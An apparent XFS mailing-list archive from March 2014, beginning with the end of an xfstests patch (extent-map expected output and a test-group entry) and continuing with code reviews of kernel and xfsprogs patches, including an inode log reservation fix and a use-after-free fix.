data -> unwritten +0: [0..7]: data +1: [8..31]: unwritten +2: [32..39]: data +daa100df6e6711906b61c9ab5aa16032 + 13. data -> unwritten -> data +0: [0..7]: data +1: [8..31]: unwritten +2: [32..39]: data +f6aeca13ec49e5b266cd1c913cd726e3 + 14. data -> hole @ EOF +0: [0..23]: data +1: [24..39]: unwritten +e1f024eedd27ea6b1c3e9b841c850404 + 15. data -> hole @ 0 +0: [0..15]: unwritten +1: [16..39]: data +eecb7aa303d121835de05028751d301c + 16. data -> cache cold ->hole +0: [0..15]: unwritten +1: [16..39]: data +eecb7aa303d121835de05028751d301c + 17. data -> hole in single block file +0: [0..7]: data +0000000 cdcd cdcd cdcd cdcd cdcd cdcd cdcd cdcd +* +0000200 0000 0000 0000 0000 0000 0000 0000 0000 +* +0000400 cdcd cdcd cdcd cdcd cdcd cdcd cdcd cdcd +* + 1. into a hole +0: [0..7]: hole +1: [8..23]: unwritten +2: [24..39]: hole +daa100df6e6711906b61c9ab5aa16032 + 2. into allocated space +0: [0..7]: data +1: [8..23]: unwritten +2: [24..39]: data +cc58a7417c2d7763adc45b6fcd3fa024 + 3. into unwritten space +0: [0..39]: unwritten +daa100df6e6711906b61c9ab5aa16032 + 4. hole -> data +0: [0..7]: hole +1: [8..23]: unwritten +2: [24..31]: data +3: [32..39]: hole +cc63069677939f69a6e8f68cae6a6dac + 5. hole -> unwritten +0: [0..7]: hole +1: [8..31]: unwritten +2: [32..39]: hole +daa100df6e6711906b61c9ab5aa16032 + 6. data -> hole +0: [0..7]: data +1: [8..23]: unwritten +2: [24..39]: hole +1b3779878366498b28c702ef88c4a773 + 7. data -> unwritten +0: [0..7]: data +1: [8..31]: unwritten +2: [32..39]: hole +1b3779878366498b28c702ef88c4a773 + 8. unwritten -> hole +0: [0..23]: unwritten +1: [24..39]: hole +daa100df6e6711906b61c9ab5aa16032 + 9. unwritten -> data +0: [0..23]: unwritten +1: [24..31]: data +2: [32..39]: hole +cc63069677939f69a6e8f68cae6a6dac + 10. hole -> data -> hole +0: [0..7]: hole +1: [8..31]: unwritten +2: [32..39]: hole +daa100df6e6711906b61c9ab5aa16032 + 11. data -> hole -> data +0: [0..7]: data +1: [8..31]: unwritten +2: [32..39]: data +f6aeca13ec49e5b266cd1c913cd726e3 + 12. unwritten -> data -> unwritten +0: [0..7]: data +1: [8..31]: unwritten +2: [32..39]: data +daa100df6e6711906b61c9ab5aa16032 + 13. data -> unwritten -> data +0: [0..7]: data +1: [8..31]: unwritten +2: [32..39]: data +f6aeca13ec49e5b266cd1c913cd726e3 + 14. data -> hole @ EOF +0: [0..23]: data +1: [24..39]: unwritten +e1f024eedd27ea6b1c3e9b841c850404 + 15. data -> hole @ 0 +0: [0..15]: unwritten +1: [16..39]: data +eecb7aa303d121835de05028751d301c + 16. data -> cache cold ->hole +0: [0..15]: unwritten +1: [16..39]: data +eecb7aa303d121835de05028751d301c + 17. data -> hole in single block file +0: [0..7]: data +0000000 cdcd cdcd cdcd cdcd cdcd cdcd cdcd cdcd +* +0000200 0000 0000 0000 0000 0000 0000 0000 0000 +* +0000400 cdcd cdcd cdcd cdcd cdcd cdcd cdcd cdcd +* + 1. into a hole +0: [0..7]: hole +1: [8..23]: unwritten +2: [24..39]: hole +daa100df6e6711906b61c9ab5aa16032 + 2. into allocated space +0: [0..7]: data +1: [8..23]: unwritten +2: [24..39]: data +cc58a7417c2d7763adc45b6fcd3fa024 + 3. into unwritten space +0: [0..7]: data +1: [8..23]: unwritten +2: [24..39]: data +cc58a7417c2d7763adc45b6fcd3fa024 + 4. hole -> data +0: [0..7]: data +1: [8..23]: unwritten +2: [24..39]: data +cc58a7417c2d7763adc45b6fcd3fa024 + 5. hole -> unwritten +0: [0..7]: data +1: [8..23]: unwritten +2: [24..39]: data +cc58a7417c2d7763adc45b6fcd3fa024 + 6. data -> hole +0: [0..7]: data +1: [8..23]: unwritten +2: [24..39]: data +cc58a7417c2d7763adc45b6fcd3fa024 + 7. data -> unwritten +0: [0..7]: data +1: [8..23]: unwritten +2: [24..39]: data +cc58a7417c2d7763adc45b6fcd3fa024 + 8. unwritten -> hole +0: [0..7]: data +1: [8..23]: unwritten +2: [24..39]: data +cc58a7417c2d7763adc45b6fcd3fa024 + 9. unwritten -> data +0: [0..7]: data +1: [8..23]: unwritten +2: [24..39]: data +cc58a7417c2d7763adc45b6fcd3fa024 + 10. hole -> data -> hole +0: [0..7]: data +1: [8..31]: unwritten +2: [32..39]: data +f6aeca13ec49e5b266cd1c913cd726e3 + 11. data -> hole -> data +0: [0..7]: data +1: [8..31]: unwritten +2: [32..39]: data +f6aeca13ec49e5b266cd1c913cd726e3 + 12. unwritten -> data -> unwritten +0: [0..7]: data +1: [8..31]: unwritten +2: [32..39]: data +f6aeca13ec49e5b266cd1c913cd726e3 + 13. data -> unwritten -> data +0: [0..7]: data +1: [8..31]: unwritten +2: [32..39]: data +f6aeca13ec49e5b266cd1c913cd726e3 + 14. data -> hole @ EOF +0: [0..23]: data +1: [24..39]: unwritten +e1f024eedd27ea6b1c3e9b841c850404 + 15. data -> hole @ 0 +0: [0..15]: unwritten +1: [16..39]: data +eecb7aa303d121835de05028751d301c + 16. data -> cache cold ->hole +0: [0..15]: unwritten +1: [16..39]: data +eecb7aa303d121835de05028751d301c + 17. data -> hole in single block file +0: [0..7]: data +0000000 cdcd cdcd cdcd cdcd cdcd cdcd cdcd cdcd +* +0000200 0000 0000 0000 0000 0000 0000 0000 0000 +* +0000400 cdcd cdcd cdcd cdcd cdcd cdcd cdcd cdcd +* + 1. into a hole +0: [0..7]: hole +1: [8..23]: unwritten +2: [24..39]: hole +daa100df6e6711906b61c9ab5aa16032 + 2. into allocated space +0: [0..7]: data +1: [8..23]: unwritten +2: [24..39]: data +cc58a7417c2d7763adc45b6fcd3fa024 + 3. into unwritten space +0: [0..7]: data +1: [8..23]: unwritten +2: [24..39]: data +cc58a7417c2d7763adc45b6fcd3fa024 + 4. hole -> data +0: [0..7]: data +1: [8..23]: unwritten +2: [24..39]: data +cc58a7417c2d7763adc45b6fcd3fa024 + 5. hole -> unwritten +0: [0..7]: data +1: [8..23]: unwritten +2: [24..39]: data +cc58a7417c2d7763adc45b6fcd3fa024 + 6. data -> hole +0: [0..7]: data +1: [8..23]: unwritten +2: [24..39]: data +cc58a7417c2d7763adc45b6fcd3fa024 + 7. data -> unwritten +0: [0..7]: data +1: [8..23]: unwritten +2: [24..39]: data +cc58a7417c2d7763adc45b6fcd3fa024 + 8. unwritten -> hole +0: [0..7]: data +1: [8..23]: unwritten +2: [24..39]: data +cc58a7417c2d7763adc45b6fcd3fa024 + 9. unwritten -> data +0: [0..7]: data +1: [8..23]: unwritten +2: [24..39]: data +cc58a7417c2d7763adc45b6fcd3fa024 + 10. hole -> data -> hole +0: [0..7]: data +1: [8..31]: unwritten +2: [32..39]: data +f6aeca13ec49e5b266cd1c913cd726e3 + 11. data -> hole -> data +0: [0..7]: data +1: [8..31]: unwritten +2: [32..39]: data +f6aeca13ec49e5b266cd1c913cd726e3 + 12. unwritten -> data -> unwritten +0: [0..7]: data +1: [8..31]: unwritten +2: [32..39]: data +f6aeca13ec49e5b266cd1c913cd726e3 + 13. data -> unwritten -> data +0: [0..7]: data +1: [8..31]: unwritten +2: [32..39]: data +f6aeca13ec49e5b266cd1c913cd726e3 + 14. data -> hole @ EOF +0: [0..23]: data +1: [24..39]: unwritten +e1f024eedd27ea6b1c3e9b841c850404 + 15. data -> hole @ 0 +0: [0..15]: unwritten +1: [16..39]: data +eecb7aa303d121835de05028751d301c + 16. data -> cache cold ->hole +0: [0..15]: unwritten +1: [16..39]: data +eecb7aa303d121835de05028751d301c + 17. data -> hole in single block file +0: [0..7]: data +0000000 cdcd cdcd cdcd cdcd cdcd cdcd cdcd cdcd +* +0000200 0000 0000 0000 0000 0000 0000 0000 0000 +* +0000400 cdcd cdcd cdcd cdcd cdcd cdcd cdcd cdcd +* diff --git a/tests/ext4/group b/tests/ext4/group index 7e1a68b..dd2841e 100644 --- a/tests/ext4/group +++ b/tests/ext4/group @@ -3,6 +3,7 @@ # - do not start group names with a digit # - comment line before each group is "new" description # +001 auto prealloc quick 271 auto rw quick 301 aio dangerous ioctl rw stress 302 aio dangerous ioctl rw stress -- 1.8.3.1 From BATV+c404bb01260e822e786a+3846+infradead.org+hch@bombadil.srs.infradead.org Wed Mar 5 10:58:16 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 1609F7F3F for ; Wed, 5 Mar 2014 10:58:16 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id AA479AC006 for ; Wed, 5 Mar 2014 08:58:12 -0800 (PST) X-ASG-Debug-ID: 1394038690-04bdf05da92c50a0001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id EUzd5piCeGaSsL4B (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 05 Mar 2014 08:58:10 -0800 (PST) X-Barracuda-Envelope-From: BATV+c404bb01260e822e786a+3846+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1WLF90-0004FP-Is; Wed, 05 Mar 2014 16:58:10 +0000 Date: Wed, 5 Mar 2014 08:58:10 -0800 From: Christoph Hellwig To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 2/2] xfs: use NOIO contexts for vm_map_ram Message-ID: <20140305165810.GA11667@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 2/2] xfs: use NOIO contexts for vm_map_ram References: <1393825194-1719-1-git-send-email-david@fromorbit.com> <1393825194-1719-3-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1393825194-1719-3-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1394038690 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3625 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS Ugly, but given that it seems like we can't get the flags passing fixed properly: Reviewed-by: Christoph Hellwig From BATV+c404bb01260e822e786a+3846+infradead.org+hch@bombadil.srs.infradead.org Wed Mar 5 11:03:01 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id A182A7F3F for ; Wed, 5 Mar 2014 11:03:01 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 8C582304043 for ; Wed, 5 Mar 2014 09:02:58 -0800 (PST) X-ASG-Debug-ID: 1394038977-04cbb054b9b1890001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id hKku0Tw2KAJ9HCEl (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 05 Mar 2014 09:02:57 -0800 (PST) X-Barracuda-Envelope-From: BATV+c404bb01260e822e786a+3846+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1WLFDd-0005NG-0d; Wed, 05 Mar 2014 17:02:57 +0000 Date: Wed, 5 Mar 2014 09:02:56 -0800 From: Christoph Hellwig To: Eric Sandeen Cc: xfs-oss Subject: Re: [PATCH] xfsprogs: fix use after free in inode_item_done() Message-ID: <20140305170256.GB11667@infradead.org> X-ASG-Orig-Subj: Re: [PATCH] xfsprogs: fix use after free in inode_item_done() References: <5314E912.9080708@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <5314E912.9080708@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1394038977 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.60 X-Barracuda-Spam-Status: No, SCORE=2.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MV0249, MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3624 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 2.00 BSF_SC0_MV0249 Custom rule MV0249 On Mon, Mar 03, 2014 at 02:41:54PM -0600, Eric Sandeen wrote: > Commit "3a19fb7 libxfs: stop caching inode structures" > introduced a use after free. I see the use after free, but I don't see how I would have introduced it in that commit. Before that libxfs_iput already was freeing the inode through the cache code, now we do it directly. > @@ -739,12 +738,6 @@ ili_done: > } else { > libxfs_iput(ip, 0); > } > - > - if (ip->i_itemp) > - kmem_zone_free(xfs_ili_zone, ip->i_itemp); > - else > - ASSERT(0); > - ip->i_itemp = NULL; > } Seems like inode_item_done should call into inode_item_unlock, which factors the exact sequence we want into a nice helper. From BATV+c404bb01260e822e786a+3846+infradead.org+hch@bombadil.srs.infradead.org Wed Mar 5 11:06:37 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 6CE127F3F for ; Wed, 5 Mar 2014 11:06:37 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 5653C8F8084 for ; Wed, 5 Mar 2014 09:06:34 -0800 (PST) X-ASG-Debug-ID: 1394039192-04cbb054b6b1c70001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id Xlkm8q5izFcrRkXs (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 05 Mar 2014 09:06:33 -0800 (PST) X-Barracuda-Envelope-From: BATV+c404bb01260e822e786a+3846+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1WLFH6-0006Q3-Jv; Wed, 05 Mar 2014 17:06:32 +0000 Date: Wed, 5 Mar 2014 09:06:32 -0800 From: Christoph Hellwig To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 1/2] xfs: xfs_check_page_type buffer checks need help Message-ID: <20140305170632.GC11667@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 1/2] xfs: xfs_check_page_type buffer checks need help References: <1393981893-2497-1-git-send-email-david@fromorbit.com> <1393981893-2497-2-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1393981893-2497-2-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1394039193 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3624 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- This looks correct, but why don't we simply have a special cased function looking or any delalloc page for xfs_aops_discard_page instead of having one that is fairly over-general? Reviewed-by: Christoph Hellwig if you want to go down this route anyway. From BATV+c404bb01260e822e786a+3846+infradead.org+hch@bombadil.srs.infradead.org Wed Mar 5 11:14:43 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 7704F7F3F for ; Wed, 5 Mar 2014 11:14:43 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 4C5A48F8033 for ; Wed, 5 Mar 2014 09:14:43 -0800 (PST) X-ASG-Debug-ID: 1394039681-04cbb054b7b2630001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id CM6zRkpfi53N0X2b (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 05 Mar 2014 09:14:42 -0800 (PST) X-Barracuda-Envelope-From: BATV+c404bb01260e822e786a+3846+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1WLFOz-0007kK-HB; Wed, 05 Mar 2014 17:14:41 +0000 Date: Wed, 5 Mar 2014 09:14:41 -0800 From: Christoph Hellwig To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 2/2] xfs: inode log reservations are still too small Message-ID: <20140305171441.GD11667@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 2/2] xfs: inode log reservations are still too small References: <1393981893-2497-1-git-send-email-david@fromorbit.com> <1393981893-2497-3-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1393981893-2497-3-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1394039682 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3624 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- The fix looks correct, but care to remind me where we account for the xlog_op_header for all non-buf, non-inode transaction? From sandeen@sandeen.net Wed Mar 5 11:19:21 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 2AFCB7F3F for ; Wed, 5 Mar 2014 11:19:21 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 1144830406B for ; Wed, 5 Mar 2014 09:19:20 -0800 (PST) X-ASG-Debug-ID: 1394039959-04cbb054b9b2c10001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id nBdp5c70ypYnayhE for ; Wed, 05 Mar 2014 09:19:19 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 461C263BDFCA; Wed, 5 Mar 2014 11:19:19 -0600 (CST) Message-ID: <53175C97.2050408@sandeen.net> Date: Wed, 05 Mar 2014 11:19:19 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: Christoph Hellwig , Eric Sandeen CC: xfs-oss Subject: Re: [PATCH] xfsprogs: fix use after free in inode_item_done() References: <5314E912.9080708@redhat.com> <20140305170256.GB11667@infradead.org> X-ASG-Orig-Subj: Re: [PATCH] xfsprogs: fix use after free in inode_item_done() In-Reply-To: <20140305170256.GB11667@infradead.org> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1394039959 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.60 X-Barracuda-Spam-Status: No, SCORE=2.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MV0249, MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3625 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 2.00 BSF_SC0_MV0249 Custom rule MV0249 On 3/5/14, 11:02 AM, Christoph Hellwig wrote: > On Mon, Mar 03, 2014 at 02:41:54PM -0600, Eric Sandeen wrote: >> Commit "3a19fb7 libxfs: stop caching inode structures" >> introduced a use after free. > > I see the use after free, but I don't see how I would have introduced it > in that commit. Before that libxfs_iput already was freeing the inode > through the cache code, now we do it directly. Ok, sorry if I wrongly implicated that commit. >> @@ -739,12 +738,6 @@ ili_done: >> } else { >> libxfs_iput(ip, 0); >> } >> - >> - if (ip->i_itemp) >> - kmem_zone_free(xfs_ili_zone, ip->i_itemp); >> - else >> - ASSERT(0); >> - ip->i_itemp = NULL; >> } > > Seems like inode_item_done should call into inode_item_unlock, which > factors the exact sequence we want into a nice helper. Yeah, that does seem better! Thanks for spotting that. The difference when calling inode_item_unlock is a bit more zeroing-out: ip->i_transp = NULL; iip->ili_flags = 0; I'm not sure of the implications of that offhand, TBH. Dave, hold off on my commit I guess ;) -Eric From bfoster@redhat.com Wed Mar 5 12:05:32 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id A58C57F4E for ; Wed, 5 Mar 2014 12:05:32 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 32C11AC009 for ; Wed, 5 Mar 2014 10:05:29 -0800 (PST) X-ASG-Debug-ID: 1394042724-04cb6c56772a72c0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id rJ1nBTUbV1KLOE3h for ; Wed, 05 Mar 2014 10:05:24 -0800 (PST) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx01.intmail.prod.int.phx2.redhat.com (int-mx01.intmail.prod.int.phx2.redhat.com [10.5.11.11]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s25I5HSI019244 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 5 Mar 2014 13:05:23 -0500 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx01.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id s25G63qb026635; Wed, 5 Mar 2014 11:06:03 -0500 Received: by bfoster.bfoster (Postfix, from userid 1000) id 4B71C12452B; Wed, 5 Mar 2014 11:06:02 -0500 (EST) Date: Wed, 5 Mar 2014 11:06:02 -0500 From: Brian Foster To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 2/2] xfs: inode log reservations are still too small Message-ID: <20140305160555.GB55736@bfoster.bfoster> X-ASG-Orig-Subj: Re: [PATCH 2/2] xfs: inode log reservations are still too small References: <1393981893-2497-1-git-send-email-david@fromorbit.com> <1393981893-2497-3-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1393981893-2497-3-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Scanned-By: MIMEDefang 2.67 on 10.5.11.11 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1394042724 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Wed, Mar 05, 2014 at 12:11:33PM +1100, Dave Chinner wrote: > From: Dave Chinner > > Back in commit 23956703 ("xfs: inode log reservations are too > small"), the reservation size was increased to take into account the > difference in size between the in-memory BMBT block headers and the > on-disk BMDR headers. This solved a transaction overrun when logging > the inode size. > > Recently, however, we've seen a number of these same overruns on > kernels with the above fix in it. All of them have been by 4 bytes, > so we must still not be accounting for something correctly. > > Through inspection it turns out the above commit didn't take into > account everything it should have. That is, it only accounts for a > single log op_hdr structure, when it can actually require up to four > op_hdrs - one for each region (log iovec) that is formatted. These > regions are the inode log format header, the inode core, and the two > forks that can be held in the literal area of the inode. > > This means we are not accounting for 36 bytes of log space that the > transaction can use, and hence when we get inodes in certain formats > with particular fragmentation patterns we can overrun the > transaction. Fix this by adding the correct accounting for log > op_headers in the transaction. > > Signed-off-by: Dave Chinner > --- You can add: Tested-by: Brian Foster ... to Eric's review as well. I'm still throwing a workload at it, but this has survived a few hours of a reproducer that consistently caused the overrun in 5-10 seconds. Thanks for catching this. Brian > fs/xfs/xfs_trans_resv.c | 22 +++++++++++++++------- > 1 file changed, 15 insertions(+), 7 deletions(-) > > diff --git a/fs/xfs/xfs_trans_resv.c b/fs/xfs/xfs_trans_resv.c > index 8515b04..d2c8e4a 100644 > --- a/fs/xfs/xfs_trans_resv.c > +++ b/fs/xfs/xfs_trans_resv.c > @@ -81,20 +81,28 @@ xfs_calc_buf_res( > * on disk. Hence we need an inode reservation function that calculates all this > * correctly. So, we log: > * > - * - log op headers for object > + * - 4 log op headers for object > + * - for the ilf, the inode core and 2 forks > * - inode log format object > - * - the entire inode contents (core + 2 forks) > - * - two bmap btree block headers > + * - the inode core > + * - two inode forks containing bmap btree root blocks. > + * - the btree data contained by both forks will fit into the inode size, > + * hence when combined with the inode core above, we have a total of the > + * actual inode size. > + * - the BMBT headers need to be accounted separately, as they are > + * additional to the records and pointers that fit inside the inode > + * forks. > */ > STATIC uint > xfs_calc_inode_res( > struct xfs_mount *mp, > uint ninodes) > { > - return ninodes * (sizeof(struct xlog_op_header) + > - sizeof(struct xfs_inode_log_format) + > - mp->m_sb.sb_inodesize + > - 2 * XFS_BMBT_BLOCK_LEN(mp)); > + return ninodes * > + (4 * sizeof(struct xlog_op_header) + > + sizeof(struct xfs_inode_log_format) + > + mp->m_sb.sb_inodesize + > + 2 * XFS_BMBT_BLOCK_LEN(mp)); > } > > /* > -- > 1.9.0 > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs From ranto.boris@gmail.com Wed Mar 5 14:12:25 2014 